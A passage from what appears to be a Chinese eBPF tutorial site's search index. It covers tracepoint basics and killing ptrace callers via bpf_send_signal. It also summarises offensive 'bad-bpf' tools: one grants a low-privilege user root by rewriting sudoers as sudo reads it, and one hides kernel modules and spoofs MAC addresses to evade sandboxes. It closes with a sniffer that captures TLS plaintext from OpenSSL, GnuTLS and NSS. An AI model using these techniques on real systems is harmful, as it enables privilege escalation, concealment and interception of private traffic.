tgid); if (ppid != target_ppid) { return 0; } } // Send signal. 9 == SIGKILL ret = bpf_send_signal(9); // Log event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0;\n} 许可证声明 声明了程序的许可证为 \"Dual BSD/GPL\",这是为了满足 Linux 内核对 eBPF 程序的许可要求。 Ringbuffer Map 这是一个 ring buffer 类型的 map,允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 目标父进程ID target_ppid 是一个可选的父进程ID,用于限制哪些进程受到影响。如果它被设置为非零值,只有与其匹配的进程才会被目标。 主函数 bpf_dos 进程检查 程序首先获取当前进程的ID。如果设置了 target_ppid,它还会获取当前进程的父进程ID并进行比较。如果两者不匹配,则直接返回。 发送信号 使用 bpf_send_signal(9) 来发送 SIGKILL 信号。这将终止调用 ptrace 的进程。 记录事件 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 总结:这个 eBPF 程序提供了一个方法,允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用,提供了一个对抗潜在恶意活动或误操作的额外层次。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 2. eBPF 程序 (signal.bpf.c)","id":"167","title":"2. eBPF 程序 (signal.bpf.c)"},"168":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译: ./ecc signal.bpf.c signal.h 使用方式: sudo ./ecli package.json 这个程序会对任何试图使用 ptrace 系统调用的程序,例如 strace,发出 SIG_KILL 信号。 一旦 eBPF 程序开始运行,你可以通过运行以下命令进行测试: $ strace /bin/whoami\nKilled 原先的 console 中会输出: INFO [bpf_loader_lib::skeleton] Running ebpf program...\nTIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 编译运行","id":"168","title":"编译运行"},"169":{"body":"通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 总结","id":"169","title":"总结"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始,它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件,然后使用 ecli 工具加载并运行该程序。作为示例,我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include \n#include \n#include typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint(即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID,并在内核日志中打印出来。 bpf_trace_printk(): 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题, but它也有一些限制:最多3 参数; 第一个参数必须是%s(即字符串);同时trace_pipe在内核中全局共享,其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx:ctx本来是具体类型的参数, 但是由于我们这里没有使用这个参数,因此就将其写成void *类型。 return 0;:必须这样,返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上,执行以下命令: sudo apt install clang llvm 使用 ecc 编译程序: $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序: $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后,可以看到对应的输出也停止。 注意:如果正在使用的 Linux 发行版(例如 Ubuntu )默认情况下没有启用跟踪子系统可能看不到任何输出,使用以下指令打开这个功能: $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"https://github.com/pathtofile/bad-bpf https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"170","title":"参考资料"},"171":{"body":"编译: make 使用方式: sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件,并将第一行覆盖为 ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"171","title":"使用 eBPF 添加 sudo 用户"},"172":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"172","title":"参考资料"},"173":{"body":"编译: make 使用方式: sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途,例如: 隐藏内核模块 joydev,避免被如 lsmod 这样的工具发现: ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址: ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。 注意: input 和 replace 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 $'\\n',例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"173","title":"使用 eBPF 替换任意程序读取或写入的文本"},"174":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"174","title":"参考资料"},"175":{"body":"通过使用 detach 的方式运行 eBPF 程序,用户空间加载器可以退出,而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序:eBPF 程序的生命周期","id":"175","title":"在用户态应用退出后运行 eBPF 程序:eBPF 程序的生命周期"},"176":{"body":"首先,我们需要了解一些关键的概念,如 BPF 对象(包括程序,地图和调试信息),文件描述符 (FD),引用计数(refcnt)等。在 eBPF 系统中,用户空间通过文件描述符访问 BPF 对象,而每个对象都有一个引用计数。当一个对象被创建时,其引用计数初始为1。如果该对象不再被使用(即没有其他程序或文件描述符引用它),它的引用计数将降至0,并在 RCU 宽限期后被内存清理。 接下来,我们需要了解 eBPF 程序的生命周期。首先,当你创建一个 BPF 程序,并将它连接到某个“钩子”(例如网络接口,系统调用等),它的引用计数会增加。然后,即使原始创建和加载该程序的用户空间进程退出,只要 BPF 程序的引用计数大于 0,它就会保持活动状态。然而,这个过程中有一个重要的点是:不是所有的钩子都是相等的。有些钩子是全局的,比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态,直到这些对象自身消失。而有些钩子是局部的,只在拥有它们的进程存活期间运行。 对于 BPF 对象(程序或映射)的生命周期管理,另一个关键的操作是“分离”(detach)。这个操作会阻止已附加程序的任何未来执行。然后,对于需要替换 BPF 程序的情况,你可以使用替换(replace)操作。这是一个复杂的过程,因为你需要确保在替换过程中,不会丢失正在处理的事件,而且新旧程序可能在不同的 CPU 上同时运行。 最后,除了通过文件描述符和引用计数来管理 BPF 对象的生命周期,还有一个叫做 BPFFS 的方法,也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”(pin)一个 BPF 程序或映射,这将增加对象的引用计数,使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用,该 BPF 对象也将保持活动状态。 所以,当我们谈论在后台运行 eBPF 程序时,我们需要清楚这个过程的含义。在某些情况下,即使用户空间进程已经退出,我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"176","title":"eBPF 程序的生命周期"},"177":{"body":"这里还是采用了上一个的字符串替换的应用,来体现对应可能的安全风险。通过使用 --detach 运行程序,用户空间加载器可以退出,而不会停止 eBPF 程序。 编译: make 在运行前,请首先确保 bpf 文件系统已经被挂载: sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后,你可以分离运行 text-replace2: ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行,你可以通过运行以下命令检查日志: sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后,要停止,只需删除链接文件即可: sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"177","title":"运行"},"178":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"178","title":"参考资料"},"179":{"body":"随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在,我们有了新的解决方案。 eBPF技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 在本教程中,我们将带您了解一种跨多种条件的技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程:使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据","id":"179","title":"eBPF 实践教程:使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据"},"18":{"body":"如上所述, eBPF 程序的基本框架包括: 包含头文件:需要包含 和 等头文件。 定义许可证:需要定义许可证,通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数:需要定义一个 BPF 函数,例如其名称为 handle_tp,其参数为 void *ctx,返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数:在例如 BPF 函数中,可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"180","title":"背景知识"},"181":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"181","title":"SSL 和 TLS"},"182":{"body":"Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数: 初始握手 :客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 选择密码套件 :从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 提供数字证书 :通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。 验证证书 :客户端在继续之前确认证书的有效性。 生成会话密钥 :为了生成用于安全连接的会话密钥,客户端有以下两种方法: 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 使用Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 OSI模型中的TLS TLS和SSL不完全适合OSI模型或TCP/IP模型的任何单一层次。TLS在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动TLS握手和交换的认证证书的处理。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"182","title":"TLS 的工作原理"},"183":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes: 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"183","title":"eBPF 和 uprobe"},"184":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。 GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"184","title":"用户态库"},"185":{"body":"OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"185","title":"OpenSSL API 分析"},"186":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。 函数原型 int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时,SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"186","title":"1. SSL_read 函数"},"187":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型: int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"187","title":"2. SSL_write 函数"},"188":{"body":"eBPF (扩展伯克利数据包过滤器) 是 Linux 内核中的一个功能强大的编程框架,它允许开发者在不修改内核源代码的情况下,为 Linux 内核动态插入自定义的程序。在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"188","title":"eBPF 内核态代码编写"},"189":{"body":"首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳(纳秒) __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写(0为读,1为写) char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"189","title":"数据结构"},"19":{"body":"跟踪点(tracepoints)是内核静态插桩技术,在技术上只是放置在内核源代码中的跟踪函数,实际上就是在源码中插入的一些带有控制条件的探测点,这些探测点允许事后再添加处理函数。比如在内核中,最常见的静态跟踪方法就是 printk,即输出日志。又比如:在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API,数量有限。","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读,1 代表写。 数据收集流程 获取当前进程和线程的 ID,以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间,以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据,则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区,并确保不超过预定的大小。 最后,将数据发送到用户空间。 注意:我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回: SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"190","title":"Hook 函数"},"191":{"body":"在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 do_handshake 函数,以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe: SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下: 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中,用于稍后计算握手过程的持续时间。 退出握手 同样,我们为 do_handshake 的返回设置了一个 uretprobe: SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下: 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳,用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值,判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段,包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"191","title":"Hook到握手过程"},"192":{"body":"","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析","id":"192","title":"用户态辅助代码分析"},"193":{"body":"在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"193","title":"用户态辅助代码分析与解读"},"194":{"body":"上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"194","title":"1. 支持的库挂载"},"195":{"body":"具体的 attach 函数如下: #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数,可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 